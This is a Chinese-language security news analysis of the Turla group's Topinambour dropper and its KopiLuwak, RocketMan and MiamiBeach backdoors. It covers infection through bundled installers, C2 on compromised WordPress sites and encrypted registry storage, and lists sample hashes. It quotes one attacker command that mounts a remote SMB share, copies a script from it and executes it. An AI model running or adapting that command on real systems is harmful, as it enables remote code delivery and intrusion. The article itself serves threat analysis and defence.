专注网络间谍活动15年,俄黑客组织Turla又搞出了“新武器”

Turla,也被称为VenomousBear、Waterbug或Uroboros,据称是一个自2014年开始表现活跃的俄罗斯黑客组织。不过,卡巴斯基实验室安全研究人员的分析表明,该组织早期的攻击活动可以追溯到2004年,主要攻击目标是中东、欧洲、北美和南美以及前苏联国家的外交和政府组织。

2019年,Turla仍在持续不断地使用类似的代码风格开发新的攻击工具,其中就包括了一款被命名为“Topinambour”的.NET恶意软件(被用作dropper),它主要被用来传播一种此前已经被公开披露过的后门木马——KopiLuwak(采用JavaScript编写)。

不仅如此,在攻击者借助Topinambour传播的恶意软件中,安全研究人员还发现了两种与KopiLuwak非常相似的后门木马——RocketMan和MiamiBeach。不同之处在于,RocketMan是采用.NET 编写的,而MiamiBeach是采用PowerShell编写的。

在Topinambour命令和控制(C2)服务器的选择方面,Turla使用了许多被黑掉的合法WordPress网站。在这些网站上,安全研究人员都发现了一个相同的恶意.php脚本。

恶意软件的传播方式

Topinambour包含一个小型的.NET shell,用于从C2服务器接收来自攻击者的Windows shell命令。为了让攻击目标感染Topinambour,攻击者将它与合法的软件安装包捆绑在了一起,比如Softether VPN 4.12、psiphon3和Windows office激活器。

一旦这些恶意软件安装包被安装,攻击者就可以通过发送类似于“net use”或“copy”这样的简单Windowsshell命令,来下载托管在租用的虚拟专用服务器(VPS)上并通过SMB共享的下一阶段恶意软件。

分析显示,在攻击活动中被使用的VPS大都位于南非,但其IP地址却是以“197.168”开头的,这很有可能是为了模仿“192.168”开头的LAN地址。进一步的分析发现,攻击者对于IPv6协议十分熟悉。

恶意软件都有哪些功能?

从KopiLuwak、RocketMan和MiamiBeach的功能上来看,它们都具备上传、下载和执行文件,以及收集受感染系统基本信息的功能。此外,MiamiBeach还具备截屏功能。

详细技术分析

Topinambour dropper

安全研究人员分析的Topinambour dropper样本(SHA256:8bcf125b442f86d24789b37ce64d125b54668bc4608f49828392b5b66e364284;MD5:110195ff4d7298ba9a186335c55b2d1f;文件名:topinambour.exe )实现了如下功能:

包含在Topinambour中的一个小型.NET shell能够从C2服务器获取Windows shell命令,并以静默方式执行它们。

执行Windows shell命令,会导致托管在南非的VPS上并通过SMB共享的下一阶段恶意软件KopiLuwak dropper被下载,具体命令如下:
 
cmd.exe/c net use \\197.168.0.247\c$ <user_pass_here> /user:administrator &copy /y \\197.168.0.247\c$\users\public\documents\i.js $documents\j.js &$documents\j.js

KopiLuwak dropper

接下来,KopiLuwak dropper会执行多个操作,具体如下:

使用包含在新创建的计划任务中的RC4解密密钥,KopiLuwak dropper能够释放并解密另一个脚本——KopiLuwak JavaScript,它能够从C2获取自定义命名,以及解析并执行这些命令。

KopiLuwak JavaScript

KopiLuwak JavaScript会从Windows注册表中获取一个二进制文件并执行它,如下图所示(注册表子项和值因攻击目标不同会有所差异):

目前,尚不清楚Windows注册表是怎么创建的,但Turla通常会使用初始.NET恶意软件(如Topinambour)来做到这一点。在部分样本中,还存在其他的一些函数被用来获取受感染设备的MAC地址。

.NET RocketMan木马

RocketMan能够从Windows注册表中读取C2服务器的IP地址和端口,并通过HTTP接收到的来自C2服务器的命令:

PowerShell MiamiBeach木马

如上所述,Turla还使用了一个PowerShell木马。该木马含有450个字符串,并使用TimesNewRoman作为RC4初始向量来加密C2通信,以及使用HTTPPOST和字符串MiamiBeach作为信标来与硬编码的C2进行通信。

在功能上,MiamiBeach木马与RocketMan非常相似,可以处理相同的命令。不同之处在于,而且MiamiBeach包含有一个额外的命令——#screen,可以实现截屏。

结论与归因

使用PowerShell和.NET来编写恶意软件,攻击者的目的显然是为了尽可能地绕过安全检测。众所周知,使用Windows注册表来保存加密的数据,不仅能够减少恶意软件被杀毒软件检测出现的概率,而且还能够尽可能地减少在受感染设备上留下痕迹。

虽然这些恶意软件的开发者使用了一些看似和美国存在关联的字符串,如“RocketMan!”、“TrumpTower”、“make_some_noise”,但对KopiLuwak的使用就足证明,它与Turla组织存在关联。